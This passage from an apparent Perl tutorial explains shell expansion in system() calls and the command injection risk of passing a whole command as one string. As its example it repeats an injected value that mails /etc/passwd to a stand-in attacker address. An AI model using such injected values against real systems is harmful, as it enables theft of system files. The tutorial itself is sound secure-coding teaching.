In this case all the above solutions provide the same result, but it
is not always the case.

Shell expansion

Let's say you have a program called checkfiles that can check the files
listed on its command line. You could call it checkfiles data1.txt data2.txt
or checkfiles data*.txt to check all the files that has a name staring
with the 4 letters 'data', followed by some other characters and
having the 'txt' extension.
This second way of running the program would work on Unix/Linux systems where
the shell expands the 'data*.txt' to all the files that match the description.
When the program checkfiles is executed it already sees the list of files:
checkfiles data1.txt data2.txt data42.txt database.txt.
Not so of Windows, where the command line does not do this expansion.
On Windows the program will get 'data*.txt' as input.

What has it to do with your Perl script? You ask.

On Windows it won't matter.
On Unix/Linux however, if you run the 'checkfiles' program from within a Perl script
as one string: system("checkfiles data*.txt"), then Perl will pass
that string to the shell. The shell will do its expansion and the 'checkfiles' program
will see the list of file. On the other hand, if you pass the command and parameters
as separate strings: system("checkfiles", "data*.txt") then perl will run the
'checkfiles' program directly and pass the single parameter 'data*.txt' to it without
any expansion.

As you can see, passing the whole command as a single string has its advantages.

This advantage comes with a price though.

The security risk

Calling system with a single parameter and passing the whole command that way,
can be a security hazard if the input can come from untrusted sources. For example
directly from a web form. Or from the log file created by a web server.

Let's say you accept the parameter of checkfiles from an untrusted source:

If the user types in 'data*.txt' then you are ok. The $cmd will contain
checkfile data*.txt.

On the other hand if the user passes in some other, more 'clever' parameters then you might
be in trouble. For example if the user types in
data*.txt; mail blackhat@perlmaven.com < /etc/passwd.
Then the command perl executes will look like this:
checkfile data*.txt; mail darkside@perlmaven.com < /etc/passwd.

The shell will first execute the 'checkfile data*.txt' command as you intended, but then
it will go on, and also execute the 'mail...' command.
That will send your password file to my darker side.

If your Perl script was using system with multiple parameters, this security
risk is avoided. If this is the Perl code:

And the user types in data*.txt; mail blackhat@perlmaven.com < /etc/passwd.
the Perl script will run the 'checkfiles' program and pass a single argument to it:
data*.txt; mail blackhat@perlmaven.com < /etc/passwd. No shell expansion
but we also avoided the dangers of the shell.
The 'checkfiles' program will probably complain that it cannot find a file called
data*.txt; mail blackhat@perlmaven.com < /etc/passwd, but at least our passwords
will be safe.

Conclusion and further reading

It is more convenient to make one string out of the command and pass that to system,
but if the input comes from an untrusted source, this can easily become an attack vector.
The risk can be reduced by first checking the input against a white list of acceptable
input characters. You can force yourself to think about these issues by enabling the
taint mode using the -T flag on the sh-bang line.